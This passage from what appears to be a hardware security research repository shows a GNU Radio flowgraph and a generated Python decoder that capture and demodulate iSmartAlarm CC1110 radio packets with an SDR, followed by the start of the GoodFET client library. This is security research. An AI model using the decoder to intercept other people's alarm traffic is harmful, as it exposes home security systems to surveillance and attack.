1101 |       <key>gain_mode1</key>
1102 |       <value>False</value>
1103 |     </param>
1104 |     <param>
1105 |       <key>if_gain1</key>
1106 |       <value>20</value>
1107 |     </param>
1108 |     <param>
1109 |       <key>iq_balance_mode1</key>
1110 |       <value>0</value>
1111 |     </param>
1112 |     <param>
1113 |       <key>gain1</key>
1114 |       <value>10</value>
1115 |     </param>
1116 |     <param>
1117 |       <key>ant2</key>
1118 |       <value></value>
1119 |     </param>
1120 |     <param>
1121 |       <key>bb_gain2</key>
1122 |       <value>20</value>
1123 |     </param>
1124 |     <param>
1125 |       <key>bw2</key>
1126 |       <value>0</value>
1127 |     </param>
1128 |     <param>
1129 |       <key>dc_offset_mode2</key>
1130 |       <value>0</value>
1131 |     </param>
1132 |     <param>
1133 |       <key>corr2</key>
1134 |       <value>0</value>
1135 |     </param>
1136 |     <param>
1137 |       <key>freq2</key>
1138 |       <value>100e6</value>
1139 |     </param>
1140 |     <param>
1141 |       <key>gain_mode2</key>
1142 |       <value>False</value>
1143 |     </param>
1144 |     <param>
1145 |       <key>if_gain2</key>
1146 |       <value>20</value>
1147 |     </param>
1148 |     <param>
1149 |       <key>iq_balance_mode2</key>
1150 |       <value>0</value>
1151 |     </param>
1152 |     <param>
1153 |       <key>gain2</key>
1154 |       <value>10</value>
1155 |     </param>
1156 |     <param>
1157 |       <key>ant3</key>
1158 |       <value></value>
1159 |     </param>
1160 |     <param>
1161 |       <key>bb_gain3</key>
1162 |       <value>20</value>
1163 |     </param>
1164 |     <param>
1165 |       <key>bw3</key>
1166 |       <value>0</value>
1167 |     </param>
1168 |     <param>
1169 |       <key>dc_offset_mode3</key>
1170 |       <value>0</value>
1171 |     </param>
1172 |     <param>
1173 |       <key>corr3</key>
1174 |       <value>0</value>
1175 |     </param>
1176 |     <param>
1177 |       <key>freq3</key>
1178 |       <value>100e6</value>
1179 |     </param>
1180 |     <param>
1181 |       <key>gain_mode3</key>
1182 |       <value>False</value>
1183 |     </param>
1184 |     <param>
1185 |       <key>if_gain3</key>
1186 |       <value>20</value>
1187 |     </param>
1188 |     <param>
1189 |       <key>iq_balance_mode3</key>
1190 |       <value>0</value>
1191 |     </param>
1192 |     <param>
1193 |       <key>gain3</key>
1194 |       <value>10</value>
1195 |     </param>
1196 |     <param>
1197 |       <key>ant4</key>
1198 |       <value></value>
1199 |     </param>
1200 |     <param>
1201 |       <key>bb_gain4</key>
1202 |       <value>20</value>
1203 |     </param>
1204 |     <param>
1205 |       <key>bw4</key>
1206 |       <value>0</value>
1207 |     </param>
1208 |     <param>
1209 |       <key>dc_offset_mode4</key>
1210 |       <value>0</value>
1211 |     </param>
1212 |     <param>
1213 |       <key>corr4</key>
1214 |       <value>0</value>
1215 |     </param>
1216 |     <param>
1217 |       <key>freq4</key>
1218 |       <value>100e6</value>
1219 |     </param>
1220 |     <param>
1221 |       <key>gain_mode4</key>
1222 |       <value>False</value>
1223 |     </param>
1224 |     <param>
1225 |       <key>if_gain4</key>
1226 |       <value>20</value>
1227 |     </param>
1228 |     <param>
1229 |       <key>iq_balance_mode4</key>
1230 |       <value>0</value>
1231 |     </param>
1232 |     <param>
1233 |       <key>gain4</key>
1234 |       <value>10</value>
1235 |     </param>
1236 |     <param>
1237 |       <key>comment</key>
1238 |       <value></value>
1239 |     </param>
1240 |     <param>
1241 |       <key>affinity</key>
1242 |       <value></value>
1243 |     </param>
1244 |     <param>
1245 |       <key>args</key>
1246 |       <value>name=MyB210,product=B210,serial=30C62A1,type=b200,uhd</value>
1247 |     </param>
1248 |     <param>
1249 |       <key>_enabled</key>
1250 |       <value>True</value>
1251 |     </param>
1252 |     <param>
1253 |       <key>_coordinate</key>
1254 |       <value>(8, 92)</value>
1255 |     </param>
1256 |     <param>
1257 |       <key>_rotation</key>
1258 |       <value>0</value>
1259 |     </param>
1260 |     <param>
1261 |       <key>id</key>
1262 |       <value>osmosdr_source_0</value>
1263 |     </param>
1264 |     <param>
1265 |       <key>maxoutbuf</key>
1266 |       <value>0</value>
1267 |     </param>
1268 |     <param>
1269 |       <key>minoutbuf</key>
1270 |       <value>0</value>
1271 |     </param>
1272 |     <param>
1273 |       <key>nchan</key>
1274 |       <value>1</value>
1275 |     </param>
1276 |     <param>
1277 |       <key>type</key>
1278 |       <value>fc32</value>
1279 |     </param>
1280 |     <param>
1281 |       <key>sample_rate</key>
1282 |       <value>samp_rate</value>
1283 |     </param>
1284 |   </block>
1285 |   <block>
1286 |     <key>rational_resampler_xxx</key>
1287 |     <param>
1288 |       <key>alias</key>
1289 |       <value></value>
1290 |     </param>
1291 |     <param>
1292 |       <key>comment</key>
1293 |       <value></value>
1294 |     </param>
1295 |     <param>
1296 |       <key>affinity</key>
1297 |       <value></value>
1298 |     </param>
1299 |     <param>
1300 |       <key>decim</key>
1301 |       <value>int(samp_rate/2/fft_sp)</value>
1302 |     </param>
1303 |     <param>
1304 |       <key>_enabled</key>
1305 |       <value>1</value>
1306 |     </param>
1307 |     <param>
1308 |       <key>fbw</key>
1309 |       <value>0</value>
1310 |     </param>
1311 |     <param>
1312 |       <key>_coordinate</key>
1313 |       <value>(776, 336)</value>
1314 |     </param>
1315 |     <param>
1316 |       <key>_rotation</key>
1317 |       <value>0</value>
1318 |     </param>
1319 |     <param>
1320 |       <key>id</key>
1321 |       <value>rational_resampler_xxx_0</value>
1322 |     </param>
1323 |     <param>
1324 |       <key>interp</key>
1325 |       <value>1</value>
1326 |     </param>
1327 |     <param>
1328 |       <key>maxoutbuf</key>
1329 |       <value>0</value>
1330 |     </param>
1331 |     <param>
1332 |       <key>minoutbuf</key>
1333 |       <value>0</value>
1334 |     </param>
1335 |     <param>
1336 |       <key>taps</key>
1337 |       <value></value>
1338 |     </param>
1339 |     <param>
1340 |       <key>type</key>
1341 |       <value>ccc</value>
1342 |     </param>
1343 |   </block>
1344 |   <block>
1345 |     <key>rational_resampler_xxx</key>
1346 |     <param>
1347 |       <key>alias</key>
1348 |       <value></value>
1349 |     </param>
1350 |     <param>
1351 |       <key>comment</key>
1352 |       <value></value>
1353 |     </param>
1354 |     <param>
1355 |       <key>affinity</key>
1356 |       <value></value>
1357 |     </param>
1358 |     <param>
1359 |       <key>decim</key>
1360 |       <value>rat_decim</value>
1361 |     </param>
1362 |     <param>
1363 |       <key>_enabled</key>
1364 |       <value>1</value>
1365 |     </param>
1366 |     <param>
1367 |       <key>fbw</key>
1368 |       <value>0</value>
1369 |     </param>
1370 |     <param>
1371 |       <key>_coordinate</key>
1372 |       <value>(320, 464)</value>
1373 |     </param>
1374 |     <param>
1375 |       <key>_rotation</key>
1376 |       <value>0</value>
1377 |     </param>
1378 |     <param>
1379 |       <key>id</key>
1380 |       <value>rational_resampler_xxx_0_0</value>
1381 |     </param>
1382 |     <param>
1383 |       <key>interp</key>
1384 |       <value>rat_interop</value>
1385 |     </param>
1386 |     <param>
1387 |       <key>maxoutbuf</key>
1388 |       <value>0</value>
1389 |     </param>
1390 |     <param>
1391 |       <key>minoutbuf</key>
1392 |       <value>0</value>
1393 |     </param>
1394 |     <param>
1395 |       <key>taps</key>
1396 |       <value></value>
1397 |     </param>
1398 |     <param>
1399 |       <key>type</key>
1400 |       <value>ccc</value>
1401 |     </param>
1402 |   </block>
1403 |   <block>
1404 |     <key>wxgui_fftsink2</key>
1405 |     <param>
1406 |       <key>avg_alpha</key>
1407 |       <value>0</value>
1408 |     </param>
1409 |     <param>
1410 |       <key>average</key>
1411 |       <value>False</value>
1412 |     </param>
1413 |     <param>
1414 |       <key>baseband_freq</key>
1415 |       <value>frequency_center + frequency_shift + frequency_tune</value>
1416 |     </param>
1417 |     <param>
1418 |       <key>alias</key>
1419 |       <value></value>
1420 |     </param>
1421 |     <param>
1422 |       <key>comment</key>
1423 |       <value></value>
1424 |     </param>
1425 |     <param>
1426 |       <key>affinity</key>
1427 |       <value></value>
1428 |     </param>
1429 |     <param>
1430 |       <key>_enabled</key>
1431 |       <value>True</value>
1432 |     </param>
1433 |     <param>
1434 |       <key>fft_size</key>
1435 |       <value>1024</value>
1436 |     </param>
1437 |     <param>
1438 |       <key>freqvar</key>
1439 |       <value>None</value>
1440 |     </param>
1441 |     <param>
1442 |       <key>_coordinate</key>
1443 |       <value>(1040, 280)</value>
1444 |     </param>
1445 |     <param>
1446 |       <key>_rotation</key>
1447 |       <value>0</value>
1448 |     </param>
1449 |     <param>
1450 |       <key>grid_pos</key>
1451 |       <value>2,0,1,4</value>
1452 |     </param>
1453 |     <param>
1454 |       <key>id</key>
1455 |       <value>wxgui_fftsink2_0</value>
1456 |     </param>
1457 |     <param>
1458 |       <key>notebook</key>
1459 |       <value></value>
1460 |     </param>
1461 |     <param>
1462 |       <key>peak_hold</key>
1463 |       <value>True</value>
1464 |     </param>
1465 |     <param>
1466 |       <key>ref_level</key>
1467 |       <value>-30</value>
1468 |     </param>
1469 |     <param>
1470 |       <key>ref_scale</key>
1471 |       <value>2.0</value>
1472 |     </param>
1473 |     <param>
1474 |       <key>fft_rate</key>
1475 |       <value>60</value>
1476 |     </param>
1477 |     <param>
1478 |       <key>samp_rate</key>
1479 |       <value>fft_sp</value>
1480 |     </param>
1481 |     <param>
1482 |       <key>title</key>
1483 |       <value>FFT</value>
1484 |     </param>
1485 |     <param>
1486 |       <key>type</key>
1487 |       <value>complex</value>
1488 |     </param>
1489 |     <param>
1490 |       <key>win_size</key>
1491 |       <value></value>
1492 |     </param>
1493 |     <param>
1494 |       <key>win</key>
1495 |       <value>None</value>
1496 |     </param>
1497 |     <param>
1498 |       <key>y_divs</key>
1499 |       <value>10</value>
1500 |     </param>
1501 |     <param>
1502 |       <key>y_per_div</key>
1503 |       <value>10</value>
1504 |     </param>
1505 |   </block>
1506 |   <connection>
1507 |     <source_block_id>analog_quadrature_demod_cf_0</source_block_id>
1508 |     <sink_block_id>digital_clock_recovery_mm_xx_0</sink_block_id>
1509 |     <source_key>0</source_key>
1510 |     <sink_key>0</sink_key>
1511 |   </connection>
1512 |   <connection>
1513 |     <source_block_id>digital_binary_slicer_fb_0</source_block_id>
1514 |     <sink_block_id>digital_correlate_access_code_bb_0</sink_block_id>
1515 |     <source_key>0</source_key>
1516 |     <sink_key>0</sink_key>
1517 |   </connection>
1518 |   <connection>
1519 |     <source_block_id>digital_clock_recovery_mm_xx_0</source_block_id>
1520 |     <sink_block_id>digital_binary_slicer_fb_0</sink_block_id>
1521 |     <source_key>0</source_key>
1522 |     <sink_key>0</sink_key>
1523 |   </connection>
1524 |   <connection>
1525 |     <source_block_id>digital_correlate_access_code_bb_0</source_block_id>
1526 |     <sink_block_id>ism_ism_packet_decoder_0</sink_block_id>
1527 |     <source_key>0</source_key>
1528 |     <sink_key>0</sink_key>
1529 |   </connection>
1530 |   <connection>
1531 |     <source_block_id>freq_xlating_fir_filter_xxx_1</source_block_id>
1532 |     <sink_block_id>freq_xlating_fir_filter_xxx_1_0</sink_block_id>
1533 |     <source_key>0</source_key>
1534 |     <sink_key>0</sink_key>
1535 |   </connection>
1536 |   <connection>
1537 |     <source_block_id>freq_xlating_fir_filter_xxx_1</source_block_id>
1538 |     <sink_block_id>rational_resampler_xxx_0</sink_block_id>
1539 |     <source_key>0</source_key>
1540 |     <sink_key>0</sink_key>
1541 |   </connection>
1542 |   <connection>
1543 |     <source_block_id>freq_xlating_fir_filter_xxx_1_0</source_block_id>
1544 |     <sink_block_id>rational_resampler_xxx_0_0</sink_block_id>
1545 |     <source_key>0</source_key>
1546 |     <sink_key>0</sink_key>
1547 |   </connection>
1548 |   <connection>
1549 |     <source_block_id>ism_ism_packet_decoder_0</source_block_id>
1550 |     <sink_block_id>blocks_null_sink_0</sink_block_id>
1551 |     <source_key>0</source_key>
1552 |     <sink_key>0</sink_key>
1553 |   </connection>
1554 |   <connection>
1555 |     <source_block_id>osmosdr_source_0</source_block_id>
1556 |     <sink_block_id>freq_xlating_fir_filter_xxx_1</sink_block_id>
1557 |     <source_key>0</source_key>
1558 |     <sink_key>0</sink_key>
1559 |   </connection>
1560 |   <connection>
1561 |     <source_block_id>rational_resampler_xxx_0</source_block_id>
1562 |     <sink_block_id>wxgui_fftsink2_0</sink_block_id>
1563 |     <source_key>0</source_key>
1564 |     <sink_key>0</sink_key>
1565 |   </connection>
1566 |   <connection>
1567 |     <source_block_id>rational_resampler_xxx_0_0</source_block_id>
1568 |     <sink_block_id>analog_quadrature_demod_cf_0</sink_block_id>
1569 |     <source_key>0</source_key>
1570 |     <sink_key>0</sink_key>
1571 |   </connection>
1572 | </flow_graph>
1573 | 


--------------------------------------------------------------------------------
/grc/ism_demod.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python2
  2 | # -*- coding: utf-8 -*-
  3 | ##################################################
  4 | # GNU Radio Python Flow Graph
  5 | # Title: iSmartAlarm CC1110 Decoder
  6 | # Generated: Tue Mar  7 13:50:14 2017
  7 | ##################################################
  8 | import threading
  9 | 
 10 | if __name__ == '__main__':
 11 |     import ctypes
 12 |     import sys
 13 |     if sys.platform.startswith('linux'):
 14 |         try:
 15 |             x11 = ctypes.cdll.LoadLibrary('libX11.so')
 16 |             x11.XInitThreads()
 17 |         except:
 18 |             print "Warning: failed to XInitThreads()"
 19 | 
 20 | from gnuradio import analog
 21 | from gnuradio import blocks
 22 | from gnuradio import digital
 23 | from gnuradio import eng_notation
 24 | from gnuradio import filter
 25 | from gnuradio import gr
 26 | from gnuradio import wxgui
 27 | from gnuradio.eng_option import eng_option
 28 | from gnuradio.fft import window
 29 | from gnuradio.filter import firdes
 30 | from gnuradio.wxgui import fftsink2
 31 | from gnuradio.wxgui import forms
 32 | from grc_gnuradio import wxgui as grc_wxgui
 33 | from optparse import OptionParser
 34 | import ism
 35 | import math
 36 | import osmosdr
 37 | import wx
 38 | 
 39 | 
 40 | class ism_demod(grc_wxgui.top_block_gui):
 41 | 
 42 |     def __init__(self):
 43 |         grc_wxgui.top_block_gui.__init__(self, title="iSmartAlarm CC1110 Decoder")
 44 | 
 45 |         self._lock = threading.RLock()
 46 | 
 47 |         ##################################################
 48 |         # Variables
 49 |         ##################################################
 50 |         self.symbole_rate = symbole_rate = 38383.5
 51 |         self.samp_rate = samp_rate = 6e6
 52 |         self.rat_interop = rat_interop = 8
 53 |         self.rat_decim = rat_decim = 5
 54 |         self.frequency_tune = frequency_tune = 0
 55 |         self.frequency_shift = frequency_shift = 0.52e06
 56 |         self.frequency_center = frequency_center = 907481800
 57 |         self.firdes_transition_width = firdes_transition_width = 13e3
 58 |         self.firdes_decim = firdes_decim = 4
 59 |         self.firdes_cutoff = firdes_cutoff = 17e3
 60 |         self.samp_per_sym = samp_per_sym = ((samp_rate/2/firdes_decim)*rat_interop/rat_decim) / symbole_rate
 61 |         self.myqueue = myqueue = gr.msg_queue(200)
 62 |         self.frequency = frequency = frequency_center + frequency_shift + frequency_tune
 63 |         self.freq_display = freq_display = frequency_center + frequency_shift + frequency_tune
 64 |         self.firdes_filter = firdes_filter = firdes.low_pass(1,samp_rate/2, firdes_cutoff, firdes_transition_width)
 65 |         self.fft_sp = fft_sp = 50000
 66 |         self.crc_verbose = crc_verbose = True
 67 |         self.access_code = access_code = '11010011100100011101001110010001'
 68 | 
 69 |         ##################################################
 70 |         # Blocks
 71 |         ##################################################
 72 |         _frequency_tune_sizer = wx.BoxSizer(wx.VERTICAL)
 73 |         self._frequency_tune_text_box = forms.text_box(
 74 |         	parent=self.GetWin(),
 75 |         	sizer=_frequency_tune_sizer,
 76 |         	value=self.frequency_tune,
 77 |         	callback=self.set_frequency_tune,
 78 |         	label='Frequency Tuning',
 79 |         	converter=forms.float_converter(),
 80 |         	proportion=0,
 81 |         )
 82 |         self._frequency_tune_slider = forms.slider(
 83 |         	parent=self.GetWin(),
 84 |         	sizer=_frequency_tune_sizer,
 85 |         	value=self.frequency_tune,
 86 |         	callback=self.set_frequency_tune,
 87 |         	minimum=-30e3,
 88 |         	maximum=30e3,
 89 |         	num_steps=1000,
 90 |         	style=wx.SL_HORIZONTAL,
 91 |         	cast=float,
 92 |         	proportion=1,
 93 |         )
 94 |         self.GridAdd(_frequency_tune_sizer, 0, 0, 1, 1)
 95 |         self.wxgui_fftsink2_0 = fftsink2.fft_sink_c(
 96 |         	self.GetWin(),
 97 |         	baseband_freq=frequency_center + frequency_shift + frequency_tune,
 98 |         	y_per_div=10,
 99 |         	y_divs=10,
100 |         	ref_level=-30,
101 |         	ref_scale=2.0,
102 |         	sample_rate=fft_sp,
103 |         	fft_size=1024,
104 |         	fft_rate=60,
105 |         	average=False,
106 |         	avg_alpha=None,
107 |         	title='FFT',
108 |         	peak_hold=True,
109 |         )
110 |         self.GridAdd(self.wxgui_fftsink2_0.win, 2, 0, 1, 4)
111 |         self.rational_resampler_xxx_0_0 = filter.rational_resampler_ccc(
112 |                 interpolation=rat_interop,
113 |                 decimation=rat_decim,
114 |                 taps=None,
115 |                 fractional_bw=None,
116 |         )
117 |         self.rational_resampler_xxx_0 = filter.rational_resampler_ccc(
118 |                 interpolation=1,
119 |                 decimation=int(samp_rate/2/fft_sp),
120 |                 taps=None,
121 |                 fractional_bw=None,
122 |         )
123 |         self.osmosdr_source_0 = osmosdr.source( args="numchan=" + str(1) + " " + 'name=MyB210,product=B210,serial=30C62A1,type=b200,uhd' )
124 |         self.osmosdr_source_0.set_sample_rate(samp_rate)
125 |         self.osmosdr_source_0.set_center_freq(frequency_center, 0)
126 |         self.osmosdr_source_0.set_freq_corr(0, 0)
127 |         self.osmosdr_source_0.set_dc_offset_mode(0, 0)
128 |         self.osmosdr_source_0.set_iq_balance_mode(0, 0)
129 |         self.osmosdr_source_0.set_gain_mode(True, 0)
130 |         self.osmosdr_source_0.set_gain(0, 0)
131 |         self.osmosdr_source_0.set_if_gain(0, 0)
132 |         self.osmosdr_source_0.set_bb_gain(0, 0)
133 |         self.osmosdr_source_0.set_antenna('', 0)
134 |         self.osmosdr_source_0.set_bandwidth(50000, 0)
135 |           
136 |         self.ism_ism_packet_decoder_0 = ism.ism_packet_decoder(myqueue, True, False)
137 |         self.freq_xlating_fir_filter_xxx_1_0 = filter.freq_xlating_fir_filter_ccc(firdes_decim, (firdes_filter), 0, samp_rate/2)
138 |         self.freq_xlating_fir_filter_xxx_1 = filter.freq_xlating_fir_filter_ccc(8, (1, ), frequency_shift + frequency_tune, samp_rate)
139 |         self._freq_display_static_text = forms.static_text(
140 |         	parent=self.GetWin(),
141 |         	value=self.freq_display,
142 |         	callback=self.set_freq_display,
143 |         	label='Current Frequency',
144 |         	converter=forms.float_converter(),
145 |         )
146 |         self.GridAdd(self._freq_display_static_text, 1, 0, 1, 4)
147 |         self.digital_correlate_access_code_bb_0 = digital.correlate_access_code_bb(access_code, 1)
148 |         self.digital_clock_recovery_mm_xx_0 = digital.clock_recovery_mm_ff(samp_per_sym*(1+0.0), 0.25*0.175*0.175, 0.5, 0.175, 0.005)
149 |         self.digital_binary_slicer_fb_0 = digital.binary_slicer_fb()
150 |         self.blocks_null_sink_0 = blocks.null_sink(gr.sizeof_char*1)
151 |         self.analog_quadrature_demod_cf_0 = analog.quadrature_demod_cf(4)
152 | 
153 |         ##################################################
154 |         # Connections
155 |         ##################################################
156 |         self.connect((self.analog_quadrature_demod_cf_0, 0), (self.digital_clock_recovery_mm_xx_0, 0))    
157 |         self.connect((self.digital_binary_slicer_fb_0, 0), (self.digital_correlate_access_code_bb_0, 0))    
158 |         self.connect((self.digital_clock_recovery_mm_xx_0, 0), (self.digital_binary_slicer_fb_0, 0))    
159 |         self.connect((self.digital_correlate_access_code_bb_0, 0), (self.ism_ism_packet_decoder_0, 0))    
160 |         self.connect((self.freq_xlating_fir_filter_xxx_1, 0), (self.freq_xlating_fir_filter_xxx_1_0, 0))    
161 |         self.connect((self.freq_xlating_fir_filter_xxx_1, 0), (self.rational_resampler_xxx_0, 0))    
162 |         self.connect((self.freq_xlating_fir_filter_xxx_1_0, 0), (self.rational_resampler_xxx_0_0, 0))    
163 |         self.connect((self.ism_ism_packet_decoder_0, 0), (self.blocks_null_sink_0, 0))    
164 |         self.connect((self.osmosdr_source_0, 0), (self.freq_xlating_fir_filter_xxx_1, 0))    
165 |         self.connect((self.rational_resampler_xxx_0, 0), (self.wxgui_fftsink2_0, 0))    
166 |         self.connect((self.rational_resampler_xxx_0_0, 0), (self.analog_quadrature_demod_cf_0, 0))    
167 | 
168 |     def get_symbole_rate(self):
169 |         return self.symbole_rate
170 | 
171 |     def set_symbole_rate(self, symbole_rate):
172 |         with self._lock:
173 |             self.symbole_rate = symbole_rate
174 |             self.set_samp_per_sym(((self.samp_rate/2/self.firdes_decim)*self.rat_interop/self.rat_decim) / self.symbole_rate)
175 | 
176 |     def get_samp_rate(self):
177 |         return self.samp_rate
178 | 
179 |     def set_samp_rate(self, samp_rate):
180 |         with self._lock:
181 |             self.samp_rate = samp_rate
182 |             self.set_samp_per_sym(((self.samp_rate/2/self.firdes_decim)*self.rat_interop/self.rat_decim) / self.symbole_rate)
183 |             self.set_firdes_filter(firdes.low_pass(1,self.samp_rate/2, self.firdes_cutoff, self.firdes_transition_width))
184 |             self.osmosdr_source_0.set_sample_rate(self.samp_rate)
185 | 
186 |     def get_rat_interop(self):
187 |         return self.rat_interop
188 | 
189 |     def set_rat_interop(self, rat_interop):
190 |         with self._lock:
191 |             self.rat_interop = rat_interop
192 |             self.set_samp_per_sym(((self.samp_rate/2/self.firdes_decim)*self.rat_interop/self.rat_decim) / self.symbole_rate)
193 | 
194 |     def get_rat_decim(self):
195 |         return self.rat_decim
196 | 
197 |     def set_rat_decim(self, rat_decim):
198 |         with self._lock:
199 |             self.rat_decim = rat_decim
200 |             self.set_samp_per_sym(((self.samp_rate/2/self.firdes_decim)*self.rat_interop/self.rat_decim) / self.symbole_rate)
201 | 
202 |     def get_frequency_tune(self):
203 |         return self.frequency_tune
204 | 
205 |     def set_frequency_tune(self, frequency_tune):
206 |         with self._lock:
207 |             self.frequency_tune = frequency_tune
208 |             self._frequency_tune_slider.set_value(self.frequency_tune)
209 |             self._frequency_tune_text_box.set_value(self.frequency_tune)
210 |             self.wxgui_fftsink2_0.set_baseband_freq(self.frequency_center + self.frequency_shift + self.frequency_tune)
211 |             self.set_frequency(self.frequency_center + self.frequency_shift + self.frequency_tune)
212 |             self.freq_xlating_fir_filter_xxx_1.set_center_freq(self.frequency_shift + self.frequency_tune)
213 |             self.set_freq_display(self.frequency_center + self.frequency_shift + self.frequency_tune)
214 | 
215 |     def get_frequency_shift(self):
216 |         return self.frequency_shift
217 | 
218 |     def set_frequency_shift(self, frequency_shift):
219 |         with self._lock:
220 |             self.frequency_shift = frequency_shift
221 |             self.wxgui_fftsink2_0.set_baseband_freq(self.frequency_center + self.frequency_shift + self.frequency_tune)
222 |             self.set_frequency(self.frequency_center + self.frequency_shift + self.frequency_tune)
223 |             self.freq_xlating_fir_filter_xxx_1.set_center_freq(self.frequency_shift + self.frequency_tune)
224 |             self.set_freq_display(self.frequency_center + self.frequency_shift + self.frequency_tune)
225 | 
226 |     def get_frequency_center(self):
227 |         return self.frequency_center
228 | 
229 |     def set_frequency_center(self, frequency_center):
230 |         with self._lock:
231 |             self.frequency_center = frequency_center
232 |             self.wxgui_fftsink2_0.set_baseband_freq(self.frequency_center + self.frequency_shift + self.frequency_tune)
233 |             self.osmosdr_source_0.set_center_freq(self.frequency_center, 0)
234 |             self.set_frequency(self.frequency_center + self.frequency_shift + self.frequency_tune)
235 |             self.set_freq_display(self.frequency_center + self.frequency_shift + self.frequency_tune)
236 | 
237 |     def get_firdes_transition_width(self):
238 |         return self.firdes_transition_width
239 | 
240 |     def set_firdes_transition_width(self, firdes_transition_width):
241 |         with self._lock:
242 |             self.firdes_transition_width = firdes_transition_width
243 |             self.set_firdes_filter(firdes.low_pass(1,self.samp_rate/2, self.firdes_cutoff, self.firdes_transition_width))
244 | 
245 |     def get_firdes_decim(self):
246 |         return self.firdes_decim
247 | 
248 |     def set_firdes_decim(self, firdes_decim):
249 |         with self._lock:
250 |             self.firdes_decim = firdes_decim
251 |             self.set_samp_per_sym(((self.samp_rate/2/self.firdes_decim)*self.rat_interop/self.rat_decim) / self.symbole_rate)
252 | 
253 |     def get_firdes_cutoff(self):
254 |         return self.firdes_cutoff
255 | 
256 |     def set_firdes_cutoff(self, firdes_cutoff):
257 |         with self._lock:
258 |             self.firdes_cutoff = firdes_cutoff
259 |             self.set_firdes_filter(firdes.low_pass(1,self.samp_rate/2, self.firdes_cutoff, self.firdes_transition_width))
260 | 
261 |     def get_samp_per_sym(self):
262 |         return self.samp_per_sym
263 | 
264 |     def set_samp_per_sym(self, samp_per_sym):
265 |         with self._lock:
266 |             self.samp_per_sym = samp_per_sym
267 |             self.digital_clock_recovery_mm_xx_0.set_omega(self.samp_per_sym*(1+0.0))
268 | 
269 |     def get_myqueue(self):
270 |         return self.myqueue
271 | 
272 |     def set_myqueue(self, myqueue):
273 |         with self._lock:
274 |             self.myqueue = myqueue
275 | 
276 |     def get_frequency(self):
277 |         return self.frequency
278 | 
279 |     def set_frequency(self, frequency):
280 |         with self._lock:
281 |             self.frequency = frequency
282 | 
283 |     def get_freq_display(self):
284 |         return self.freq_display
285 | 
286 |     def set_freq_display(self, freq_display):
287 |         with self._lock:
288 |             self.freq_display = freq_display
289 |             self._freq_display_static_text.set_value(self.freq_display)
290 | 
291 |     def get_firdes_filter(self):
292 |         return self.firdes_filter
293 | 
294 |     def set_firdes_filter(self, firdes_filter):
295 |         with self._lock:
296 |             self.firdes_filter = firdes_filter
297 |             self.freq_xlating_fir_filter_xxx_1_0.set_taps((self.firdes_filter))
298 | 
299 |     def get_fft_sp(self):
300 |         return self.fft_sp
301 | 
302 |     def set_fft_sp(self, fft_sp):
303 |         with self._lock:
304 |             self.fft_sp = fft_sp
305 |             self.wxgui_fftsink2_0.set_sample_rate(self.fft_sp)
306 | 
307 |     def get_crc_verbose(self):
308 |         return self.crc_verbose
309 | 
310 |     def set_crc_verbose(self, crc_verbose):
311 |         with self._lock:
312 |             self.crc_verbose = crc_verbose
313 | 
314 |     def get_access_code(self):
315 |         return self.access_code
316 | 
317 |     def set_access_code(self, access_code):
318 |         with self._lock:
319 |             self.access_code = access_code
320 | 
321 | 
322 | def main(top_block_cls=ism_demod, options=None):
323 | 
324 |     tb = top_block_cls()
325 |     tb.Start(True)
326 |     tb.Wait()
327 | 
328 | 
329 | if __name__ == '__main__':
330 |     main()
331 | 


--------------------------------------------------------------------------------
/grc/ism_demod.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/seekintoo/iSmartAlarm/270fabc544bb94245f8e79276852282832d27e8b/grc/ism_demod.pyc


--------------------------------------------------------------------------------
/scripts/GoodFET.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python
  2 | # GoodFET Client Library
  3 | # 
  4 | # (C) 2009 Travis Goodspeed <travis at radiantmachines.com>
  5 | #
  6 | # This code is being rewritten and refactored.  You've been warned!
  7 | 
  8 | import sys, time, string, cStringIO, struct, glob, os;
  9 | import sqlite3;
 10 | 
 11 | fmt = ("B", "<H", None, "<L")
 12 | 
 13 | def getClient(name="GoodFET"):
 14 |     import GoodFET, GoodFETCC, GoodFETAVR, GoodFETSPI, GoodFETMSP430, GoodFETNRF, GoodFETCCSPI;
 15 |     if(name=="GoodFET" or name=="monitor"): return GoodFET.GoodFET();
 16 |     elif name=="cc" or name=="cc51": return GoodFETCC.GoodFETCC();
 17 |     elif name=="cc2420" or name=="ccspi": return GoodFETCCSPI.GoodFETCCSPI();
 18 |     elif name=="avr": return GoodFETAVR.GoodFETAVR();
 19 |     elif name=="spi": return GoodFETSPI.GoodFETSPI();
 20 |     elif name=="msp430": return GoodFETMSP430.GoodFETMSP430();
 21 |     elif name=="nrf": return GoodFETNRF.GoodFETNRF();
 22 |     
 23 |     print "Unsupported target: %s" % name;
 24 |     sys.exit(0);
 25 | 
 26 | class SymbolTable:
 27 |     """GoodFET Symbol Table"""
 28 |     db=sqlite3.connect(":memory:");
 29 |     
 30 |     def __init__(self, *args, **kargs):
 31 |         self.db.execute("create table if not exists symbols(adr,name,memory,size,comment);");
 32 |     def get(self,name):
 33 |         self.db.commit();
 34 |         c=self.db.cursor();
 35 |         try:
 36 |             c.execute("select adr,memory from symbols where name=?",(name,));
 37 |             for row in c:
 38 |                 #print "Found it.";
 39 |                 sys.stdout.flush();
 40 |                 return row[0];
 41 |             #print "No dice.";
 42 |         except:# sqlite3.OperationalError:
 43 |             #print "SQL error.";
 44 |             return eval(name);
 45 |         return eval(name);
 46 |     def define(self,adr,name,comment="",memory="vn",size=16):
 47 |         self.db.execute("insert into symbols(adr,name,memory,size,comment)"
 48 |                         "values(?,?,?,?,?);", (
 49 |                 adr,name,memory,size,comment));
 50 |         #print "Set %s=%s." % (name,adr);
 51 | class GoodFETbtser:
 52 |     """py-bluez class for emulating py-serial."""
 53 |     def __init__(self,btaddr):
 54 |         import bluetooth;
 55 |         if btaddr==None or btaddr=="none" or btaddr=="bluetooth":
 56 |             print "performing inquiry..."
 57 |             nearby_devices = bluetooth.discover_devices(lookup_names = True)
 58 |             print "found %d devices" % len(nearby_devices)
 59 |             for addr, name in nearby_devices:
 60 |                 print "  %s - '%s'" % (addr, name)
 61 |                 #TODO switch to wildcards.
 62 |                 if name=='FireFly-A6BD':
 63 |                     btaddr=addr;
 64 |                 if name=='RN42-A94A':
 65 |                     btaddr=addr;
 66 |                 
 67 |             print "Please set $GOODFET to the address of your device.";
 68 |             sys.exit();
 69 |         print "Identified GoodFET at %s" % btaddr;
 70 | 
 71 |         # Manually use the portnumber.
 72 |         port=1;
 73 |         
 74 |         print "Connecting to %s on port %i." % (btaddr, port);
